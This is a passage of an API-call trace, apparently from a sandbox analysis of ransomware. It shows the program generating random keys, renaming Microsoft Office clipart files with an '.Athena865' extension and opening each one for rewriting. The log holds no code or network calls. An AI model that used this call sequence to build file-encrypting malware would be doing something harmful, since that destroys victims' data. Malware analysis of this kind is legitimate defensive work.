phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.466] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.466] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.469] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.470] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.470] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.470] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00057_.WMF" | out: lpString1="NA00057_.WMF") returned="NA00057_.WMF" [0131.470] lstrlenW (lpString="NA00057_.WMF") returned 12 [0131.470] lstrlenW (lpString="Athena865") returned 9 [0131.470] lstrcmpiW (lpString1="0057_.WMF", lpString2="Athena865") returned -1 [0131.470] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.Athena865") returned 73 [0131.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.472] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10818) returned 1 [0131.472] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.473] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.473] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.477] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.478] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.478] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.478] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00058_.WMF" | out: lpString1="NA00058_.WMF") returned="NA00058_.WMF" [0131.478] lstrlenW (lpString="NA00058_.WMF") returned 12 [0131.478] lstrlenW (lpString="Athena865") returned 9 [0131.478] lstrcmpiW (lpString1="0058_.WMF", lpString2="Athena865") returned -1 [0131.479] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.Athena865") returned 73 [0131.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.480] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3754) returned 1 [0131.480] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.481] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.481] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.483] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.484] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.484] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.484] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00068_.WMF" | out: lpString1="NA00068_.WMF") returned="NA00068_.WMF" [0131.484] lstrlenW (lpString="NA00068_.WMF") returned 12 [0131.484] lstrlenW (lpString="Athena865") returned 9 [0131.484] lstrcmpiW (lpString1="0068_.WMF", lpString2="Athena865") returned -1 [0131.484] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.Athena865") returned 73 [0131.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.486] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4900) returned 1 [0131.486] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.487] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.487] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.490] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.491] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.491] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.491] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00238_.WMF" | out: lpString1="NA00238_.WMF") returned="NA00238_.WMF" [0131.491] lstrlenW (lpString="NA00238_.WMF") returned 12 [0131.491] lstrlenW (lpString="Athena865") returned 9 [0131.491] lstrcmpiW (lpString1="0238_.WMF", lpString2="Athena865") returned -1 [0131.492] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.Athena865") returned 73 [0131.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.493] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4996) returned 1 [0131.493] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.494] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.494] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.497] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.498] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.498] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.499] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00330_.WMF" | out: lpString1="NA00330_.WMF") returned="NA00330_.WMF" [0131.499] lstrlenW (lpString="NA00330_.WMF") returned 12 [0131.499] lstrlenW (lpString="Athena865") returned 9 [0131.499] lstrcmpiW (lpString1="0330_.WMF", lpString2="Athena865") returned -1 [0131.499] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.Athena865") returned 73 [0131.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.500] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2148) returned 1 [0131.500] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.501] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.501] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.503] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.504] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.504] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.504] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00388_.WMF" | out: lpString1="NA00388_.WMF") returned="NA00388_.WMF" [0131.504] lstrlenW (lpString="NA00388_.WMF") returned 12 [0131.505] lstrlenW (lpString="Athena865") returned 9 [0131.505] lstrcmpiW (lpString1="0388_.WMF", lpString2="Athena865") returned -1 [0131.505] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.Athena865") returned 73 [0131.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.507] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4466) returned 1 [0131.507] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.508] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.508] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.512] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.513] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.513] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.513] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00389_.WMF" | out: lpString1="NA00389_.WMF") returned="NA00389_.WMF" [0131.513] lstrlenW (lpString="NA00389_.WMF") returned 12 [0131.513] lstrlenW (lpString="Athena865") returned 9 [0131.513] lstrcmpiW (lpString1="0389_.WMF", lpString2="Athena865") returned -1 [0131.514] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.Athena865") returned 73 [0131.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.515] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8394) returned 1 [0131.516] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.516] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.516] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.519] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.519] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.519] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.520] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00390_.WMF" | out: lpString1="NA00390_.WMF") returned="NA00390_.WMF" [0131.520] lstrlenW (lpString="NA00390_.WMF") returned 12 [0131.520] lstrlenW (lpString="Athena865") returned 9 [0131.520] lstrcmpiW (lpString1="0390_.WMF", lpString2="Athena865") returned -1 [0131.520] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.Athena865") returned 73 [0131.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.522] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8642) returned 1 [0131.522] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.523] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.523] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.529] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.530] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.530] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.531] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00391_.WMF" | out: lpString1="NA00391_.WMF") returned="NA00391_.WMF" [0131.531] lstrlenW (lpString="NA00391_.WMF") returned 12 [0131.531] lstrlenW (lpString="Athena865") returned 9 [0131.531] lstrcmpiW (lpString1="0391_.WMF", lpString2="Athena865") returned -1 [0131.531] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.Athena865") returned 73 [0131.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.532] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8684) returned 1 [0131.532] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.533] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.533] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.536] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.537] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.537] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.537] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00394_.WMF" | out: lpString1="NA00394_.WMF") returned="NA00394_.WMF" [0131.537] lstrlenW (lpString="NA00394_.WMF") returned 12 [0131.537] lstrlenW (lpString="Athena865") returned 9 [0131.537] lstrcmpiW (lpString1="0394_.WMF", lpString2="Athena865") returned -1 [0131.537] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.Athena865") returned 73 [0131.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.539] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10964) returned 1 [0131.539] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.540] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.540] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.545] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.545] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.545] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.546] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00395_.WMF" | out: lpString1="NA00395_.WMF") returned="NA00395_.WMF" [0131.546] lstrlenW (lpString="NA00395_.WMF") returned 12 [0131.546] lstrlenW (lpString="Athena865") returned 9 [0131.546] lstrcmpiW (lpString1="0395_.WMF", lpString2="Athena865") returned -1 [0131.546] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.Athena865") returned 73 [0131.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.548] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6474) returned 1 [0131.548] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.548] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.549] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.551] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.551] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.551] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.552] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00396_.WMF" | out: lpString1="NA00396_.WMF") returned="NA00396_.WMF" [0131.552] lstrlenW (lpString="NA00396_.WMF") returned 12 [0131.552] lstrlenW (lpString="Athena865") returned 9 [0131.552] lstrcmpiW (lpString1="0396_.WMF", lpString2="Athena865") returned -1 [0131.552] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.Athena865") returned 73 [0131.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.554] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14534) returned 1 [0131.554] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.555] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.555] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.557] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.558] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.558] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.559] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00417_.WMF" | out: lpString1="NA00417_.WMF") returned="NA00417_.WMF" [0131.559] lstrlenW (lpString="NA00417_.WMF") returned 12 